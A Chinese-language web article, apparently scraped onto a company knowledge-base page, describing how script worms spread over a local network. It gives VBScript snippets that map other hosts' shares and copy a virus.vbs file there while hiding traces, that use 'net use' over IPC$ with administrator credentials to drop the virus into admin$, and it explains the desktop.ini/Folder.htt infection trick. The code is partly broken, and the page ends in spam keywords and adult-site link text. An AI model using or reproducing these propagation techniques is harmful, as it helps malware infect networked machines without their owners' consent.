0514-86177077

9:00-17:00（工作日）

主頁 > 知識庫 > 利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式

利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式
熱門標簽：琿春電子地圖標注 聯通能辦理400電話是多少錢 地圖標注都什么意思 百度地圖標注的位置怎么更改 菏澤電銷機器人管理軟件 鴿森地圖標注 龍族幻想白銀異聞天使地圖標注 福建醫療智能外呼系統哪家好 福建外呼系統購買
我近日在網絡上看到了一些關于局域網腳本蠕蟲的傳播方式的一些討論，這里提供一些思路。
1． 利用WSH里的MapNetworkDrive方法。該方法是將網絡驅動器映射到本地。
MapNetworkDrive方法：
object.MapNetworkDrive(strLocalName, strRemoteName, [bUpdateProfile], [strUser], [strPassword])
參數
object 
WshNetwork 對象。 
strLocalName 
表示映射驅動器的本地名的字符串值。 
strRemoteName 
表示共享的 UNC 名稱 (\\xxx\yyy) 的字符串值。 
bUpdateProfile 
可選。表示映射信息是否存儲在當前的用戶配置文件中的布爾值。如果提供的 bUpdateProfile 的值為 true，則該映射存儲在用戶的配置文件中（默認值為 false）。 
strUser 
可選。表示用戶名的字符串值。如果使用當前用戶以外的其他用戶的憑據來映射網絡驅動器，則必須提供該參數。 
strPassword 
可選。表示用戶密碼的字符串值。如果使用當前用戶以外的其他用戶的憑據來映射網絡驅動器，則必須提供該參數。 
說明
嘗試映射非共享的網絡驅動器時將產生錯誤。
主要原理是：得到本機的LAN地址后（一般為192.168.*.*）將其他主機的共享目錄映射為本地的驅動器(如Z:)，然后將病毒復制到映射的本地驅動器Z:，這樣就把病毒復制到其他主機的目錄去了。最后，還要使用RemoveNetworkDrive方法刪除映射，以免被發現。
RemoveNetworkDrive方法：
object.RemoveNetworkDrive(strName, [bForce], [bUpdateProfile])
參數
object 
WshNetwork 對象。 
strName 
表示要刪除的映射驅動器名的字符串值。strName 參數可以是本地名稱，也可以是遠程名稱，這取決于驅動器的映射方法。 
bForce 
可選。表示是否強制刪除映射驅動器的布爾值。如果提供的 bForce 的值為 true，則無論該資源是否正在使用，該方法都刪除這些連接。 
bUpdateProfile 
可選。表示是否從用戶的配置文件中刪除映射的字符串值。如果提供 bUpdateProfile 且其值為 true，則從用戶配置文件中刪除該映射。bUpdateProfile 的默認值為 false。 
說明
如果在本地名稱（驅動器名）和遠程名稱（UNC 名稱）之間存在映射關系，則 strName 必須設置為本地名稱。如網絡路徑中不存在本地名稱（驅動器字母）映射，則 strName 必須設為遠程名稱。
我這里給一段VBS的示例代碼：
Set myfso= CreateObject("Scripting.FileSystemObject") 
Set WshNetwork = WScript.CreateObject("WScript.Network") 
WshNetwork.MapNetworkDrive "I:", "\\"  unc 
fso.copyfile "c:\virus.vbs " ,"I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive "I:"
2． 利用IPC$進行連接。這種方式估計玩HACK的朋友比較熟悉啦！原理就是利用WSCRIPT.SHELL來執行。具體可以參考各種IPC$攻擊傻瓜教程，這里僅提供一段代碼：
Set objshell=wscript.createobject("wscript.shell")
Dim st,sc
st="net use \\"  "192.168.0.1 \IPC$ " pass " /"  "administrator"
objshell.run st
sc="copy c:\virus.vbs \\192.168.0.1\admin$"
objshell.run sc
3． 就是像“新歡樂時光”病毒一樣的利用FOLDER.HTT的被動式進行傳播。
Desktop.ini: 活動桌面的配置文件
Desktop.ini定義了它所在的文件夾在桌面上或者在資源管理器中的顯示風格以及文件夾的某些屬性。
關鍵：WebViewTemplate.NT5=file://Folder.htt
就是修改desktop.ini使其指向同目錄下的folder.htt，當以WEB視圖打開文件夾時，就會按照desktop.ini里面的設置執行folder.htt。這樣我們就可以把病毒寫入folder.htt，使之不斷復制。
具體參見其他有關新歡樂時光的病毒分析。

標簽：丹東 鶴壁 達州 內蒙古 南京 資質掛靠 張掖 柳州

巨人網絡通訊聲明：本文標題《利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式》，本文關鍵詞  利用,WSH,里的,MapNetworkDrive,；如發現本文內容存在版權問題，煩請提供相關信息告之我們，我們將及時溝通與處理。本站內容系統采集于網絡，涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式》相關的同類信息！
  • 本頁收集關于利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式的相關信息資訊供網民參考！
    • 推薦文章

    上一篇：腳本編程 4 驅動器

    下一篇：VBS腳本病毒原理分析與防范

    Copyright ? 1999-2012 誠信 合法 規范的巨人網絡通訊始建于2005年

    蘇ICP備15040257號-8

    產品關鍵詞： 利用WSH里的MapNetworkDrive方法腳本蠕蟲的傳播方式 利用,WSH,里的,MapNetworkDrive,
    2020久久精品亚洲|久久窝窝国产精品午夜看片|亚洲 日韩 激情 无码 中出|国产精品乱码高清在线